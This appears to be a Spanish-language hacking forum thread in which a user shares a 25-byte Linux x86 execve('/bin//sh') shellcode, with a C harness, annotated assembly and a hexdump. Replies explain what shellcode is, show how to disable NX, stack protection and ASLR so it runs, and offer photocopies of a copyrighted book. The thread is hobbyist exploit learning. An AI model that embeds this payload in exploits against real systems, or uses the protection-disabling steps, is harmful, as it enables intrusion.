Bueno, acabo de conseguir que mi pezqueñina empiece a funcionar... Como Rojodos, yo comparto mi alegria jaja ;-) ;-) ;-)
#include <stdio.h>
#include <string.h>
char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(int argc, char **argv)
{
printf ("TinShell V1.0 : By Sagrini : %d bytes\n", strlen (code));
(*(void(*)()) code)();
return 0;
}
BITS 32
; excve ()
xor eax, eax ; Ponemos EAX a cero para bytes nulos
push eax ; Metemos los ceros en la pila
push 0x68732f2f ; Metemos "//sh". La segunda barra no importa. Además alinea.
push 0x6e69622f ; Metemos "/bin". Alineados en la pila
mov ebx, esp ; Metemos la direccion en EBX
push eax ; Mas bytes nulos ...
mov edx, esp ; ... para el entorno de 3º argumento
push ebx ; Metemos la direccion de la cadena en la pila
mov ecx, esp ; Y se la pasamos como direccion
mov al, 11 ; excve = syscall 11
int 0x80 ; Ejecutamos
00000000 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 |1.Ph//shh/bin..P|
00000010 89 e2 53 89 e1 b0 0b cd 80 |..S......|
00000019
Quiero agradecerle a todos que me hayan ayudado a crearla, con pequeñas ayudas, tanto en el foro de ASM, como en el de C.
Especialmente se lo agradezco a Eternal Idol, que fue el que estuvo echandome una mano en mi primer programa, y en mi primera shellcode, y el que me ayudo en mis comienzos tanto en C como en ASM
Cito tambien el libro "Hacking. Técnicas fundamentales" y a su autor, Jon Erikson, sin los que no habria podido empezar, y recomiendo la lectura del libro [Me han mandado PMs para saber donde comprarlo. Lo siento, lo tengo de la biblioteca, pero lo podeis comprar jaja]
Os doy las gracias a todos los staffs por el gran trabajo que haceis, y a la comunidad en total, por echarme una manita tambien.
Disfrutad de la shellcode y muchas gracias !
Me alegro mucho Sagrini sigue asi.
Una pregunta , para que sirve esto?
Muchas gracias por tu apoyo leucocito. Si que seguire ;)
Bueno, una shellcode es un codigo que se usa para controlar una aplicación una vez sabes como explotar un bug. Por ejemplo, es donde se manda el programa al sobreescribir el ret.
Muchas gracias por vuestro apoyo!
Enhorabuena Sagrini me alegro de que al final lo hayas conseguido ^.^
Yo no consigo correr ninguna shellcode en mi equipo. Por ejemplo al tratar de probar la tuya me salta "Fallo de segmentación":
#include <stdio.h>
#include <string.h>
char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(int argc, char **argv)
{
printf ("TinShell V1.0 : By Sagrini : %d bytes\n", strlen (code));
(*(void(*)()) code)();
return 0;
}
Cita de: Terminalsnakingmax@thebigbrother:~/Escritorio/sc$ gcc -g -static -o shellcode shellcode.c
snakingmax@thebigbrother:~/Escritorio/sc$ ls
shellcode shellcode.c
snakingmax@thebigbrother:~/Escritorio/sc$ ./shellcode
TinShell V1.0 : By Sagrini : 25 bytes
Fallo de segmentación
snakingmax@thebigbrother:~/Escritorio/sc$
He puesto
a cero /proc/sys/kernel/randomize_va_spaceDatos de mi distro:
DISTRIB_RELEASE=10.04
DISTRIB_CODENAME=lucid
DISTRIB_DESCRIPTION="
Ubuntu 10.04.1 LTS"
Versión del compilador:
gcc-4.4 Si podeis orientarme en qué puede estar pasando de agradece.
Saludos
Cita de: Sagrini en 4 Enero 2011, 15:14 PM
Muchas gracias por tu apoyo leucocito. Si que seguire ;)
Bueno, una shellcode es un codigo que se usa para controlar una aplicación una vez sabes como explotar un bug. Por ejemplo, es donde se manda el programa al sobreescribir el ret.
Muchas gracias por vuestro apoyo!
Gracias por la aclaracion :)
De nadas Nexus todo por el conocimiento xD jajaja
Gracias Snaking. Ahora me meto el live cd con lo que me has dixo... si lo encuentro jaja.
Bueno, reinicio y digo que pasa...
[PD: No es por el argumento -static. A mi me corre con el. Reiniciando...]
Cita de: Terminal
snakingmax@thebigbrother:~/Escritorio/sc$ gcc -g -static -o shellcode shellcode.c
snakingmax@thebigbrother:~/Escritorio/sc$ ls
shellcode shellcode.c
snakingmax@thebigbrother:~/Escritorio/sc$ ./shellcode
TinShell V1.0 : By Sagrini : 25 bytes
Fallo de segmentación
snakingmax@thebigbrother:~/Escritorio/sc$
Me autorespondo:
Tenía la Protección NX activada. Para desactivarla solamente para ese ejecutable hice esto:
snakingmax@thebigbrother:~/Escritorio/sc$ execstack -s shellcodeSaludos
Hola!
Intenta compilar el código con estos parámetros:
gcc -g -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 -ggdb ejemplo.c
Yo he tenido muchos problemas por todo el tema de las protecciónes.
Cita de: M3st4ng en 4 Enero 2011, 16:57 PM
Hola!
Intenta compilar el código con estos parámetros:
gcc -g -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 -ggdb ejemplo.c
Yo he tenido muchos problemas por todo el tema de las protecciónes.
Gracuas por la ayuda M3st4ng, lo he solucionado despues de compilarlo con
execstack -s shellcode.
Cita de: Sagrini en 4 Enero 2011, 16:45 PM
Bueno yo me acabo de acordar de que le deje el disco a mi padre xD asi k menos mal... Google? :silbar:
Google si. Supuse que tenía alguna protección activada.
Para probar tu S.C. puse a cero /proc/sys/kernel/randomize_va_space y me extrañó que no funcionase, luego probé otras shellcodes que ya había corrido otras veces y seguían sin funcionar.
Saludos
A mi eso me fastidio mucho por lo del buffer overflow, gcc me puso una proteccion anti-BoF jaja
Pues yo lo desactive pork me molestaba para analisis de vulns y se me ha quedado asi
bueno, suerte !
Acabo de subir mi shellcode a Shell-Storm.org !!!
Posteare la url pronto !!!
Felicitaciones Sagrini! ;-)
http://shell-storm.org/shellcode/shellcode-linux.php
http://shell-storm.org/shellcode/files/shellcode-746.php
Muchas gracias!
[Desde 05-01-11] Ahora miro el correo....
CitarCito tambien el libro "Hacking. Técnicas fundamentales" y a su autor, Jon Erikson, sin los que no habria podido empezar, y recomiendo la lectura del libro [Me han mandado PMs para saber donde comprarlo. Lo siento, lo tengo de la biblioteca, pero lo podeis comprar jaja]
[Offtopic] Si a alguien le interesa, yo compré ese libro hace una semana por recomendacion de Sagrini, y voy fotocopiandolo a medida que lo leo, lo subiré en cuanto vaya acabandolo ( o por temas, segun vea) , son 500 pags, asique llevara lo suyo... xD
Oblivi0n aqui tienes un intersado en el libro.
Saludos tio ;)